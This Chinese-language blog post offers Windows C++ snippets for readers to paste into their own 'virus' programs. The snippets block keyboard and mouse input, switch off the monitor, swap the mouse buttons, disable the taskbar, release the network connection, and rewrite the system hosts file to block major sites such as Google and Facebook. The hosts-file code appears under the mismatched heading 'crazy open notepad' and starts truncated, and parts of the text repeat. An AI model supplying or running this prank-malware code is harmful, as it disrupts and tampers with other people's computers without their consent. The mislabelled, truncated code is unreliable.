相信有些人跟我一樣喜歡寫程式吧,但是有時你突然發現學C++好像沒啥用ㄟ,都只能跑一些範例程式,好無聊喔,所以我今天就把勁爆的病毒程式碼貼上來供大家參考參考。
關於C++編輯環境的安裝請參考這篇文章:【C++入門手冊】安裝Dev C++
安裝完後就可以開始撰寫病毒了,我在這邊提供一些關鍵的程式碼片段,在你的病毒中貼上即可。
由於每個涵式都有其標頭檔(或稱引入檔),我就不加拉,有問題的話把涵式名貼上網查一下就知。比較常用的有:
等等,你可以全部複製貼上在你程式的開頭位置
好啦,我把範例貼上來(這些程式碼都只適用Windows系統喔)
注意喔,有些地方你可以自己變更參數,像文字、網址之類的。如果程式碼是黑底的,就代表有參數可以改,可以注意一下喔!!
鎖死鍵盤和滑鼠
更改目前視窗標題
關閉顯示器
交換滑鼠主要即次要鍵(左右鍵相反的意思)
滑鼠亂點
開啟網頁
禁用工作列
隱藏式視窗
撥放音樂
停用網路
開啟又關閉DVD槽
瘋狂開啟記事本
好啊,今天的分享就到這邊,如果你有更好的病毒片段,歡迎在下面留言喔!!!
關於C++編輯環境的安裝請參考這篇文章:【C++入門手冊】安裝Dev C++
安裝完後就可以開始撰寫病毒了,我在這邊提供一些關鍵的程式碼片段,在你的病毒中貼上即可。
由於每個涵式都有其標頭檔(或稱引入檔),我就不加拉,有問題的話把涵式名貼上網查一下就知。比較常用的有:
#include <windows.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h>
好啦,我把範例貼上來(這些程式碼都只適用Windows系統喔)
注意喔,有些地方你可以自己變更參數,像文字、網址之類的。如果程式碼是黑底的,就代表有參數可以改,可以注意一下喔!!
鎖死鍵盤和滑鼠
BlockInput(true); Sleep(600000);
更改目前視窗標題
HWND Window; Window = GetForegroundWindow(); SetWindowText(Window, L"Your text here"); Sleep(10000);
關閉顯示器
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2); Sleep(2000); |
交換滑鼠主要即次要鍵(左右鍵相反的意思)
SwapMouseButton(true);
|
滑鼠亂點
int i,x,y; for(i= 0; i < 201; i++) { x = rand()%1001; y = rand()%801; SetCursorPos(x,y); Sleep(20); } |
開啟網頁
ShellExecute(NULL,L"open",L"https://alwaysfreesir.blogspot.tw/",NULL,NULL,SW_MAXIMIZE);
禁用工作列
HWND hWin; hWin = FindWindow(L"Shell_TrayWnd",NULL); EnableWindow(hWin,false); ShowWindow(hWin,false);
隱藏式視窗
HWND hWin; hWin = GetForegroundWindow(); ShowWindow(hWin,false);
撥放音樂
PlaySound(TEXT(音效檔路徑), NULL, SND_FILENAME);
停用網路
system("ipconfig /release");
開啟又關閉DVD槽
mciSendString(L"set CDAudio door open", NULL, 0, NULL); Sleep(2000); mciSendString(L"set CDAudio door closed", NULL, 0, NULL); Sleep(5000); mciSendString(L"set CDAudio door open", NULL, 0, NULL); Sleep(2000); mciSendString(L"set CDAudio door closed", NULL, 0, NULL); Sleep(5000); mciSendString(L"set CDAudio door open", NULL, 0, NULL); Sleep(2000); mciSendString(L"set CDAudio door closed", NULL, 0, NULL); Sleep(5000); mciSendString(L"set CDAudio door open", NULL, 0, NULL); Sleep(2000); mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
瘋狂開啟記事本
ILE *fp; int i; char hosts_file_path[FILENAME_MAX]; char ip[] = "0.0.0.0"; /* 設定要禁用的網址 */ char *blist[] = { "www.orkut.com", "orkut.com", "www.google.com", "google.com", "www.google.co.in", "google.co.in", "www.gmail.com", "gmail.com", "www.facebook.com", "facebook.com", "www.yahoo.com", "yahoo.com", "www.twitter.com", "twitter.com", "#" }; strcpy (hosts_file_path, getenv ("SystemRoot")); strcat (hosts_file_path, "\\system32\\drivers\\etc\\hosts"); if ((fp = fopen (hosts_file_path, "a")) == NULL) return 0; fputs ("\n", fp); for (i = 0; blist[i][0] != '#'; i++) { fputs (ip, fp); fputs (" ", fp); fputs (blist[i], fp); fputs ("\n", fp); } fclose (fp); system("echo ' '");
2 意見
我想詢問一下,如果我今天用了這串我該怎麼解
回覆刪除用快捷鍵alt+F4關掉執行檔吧
刪除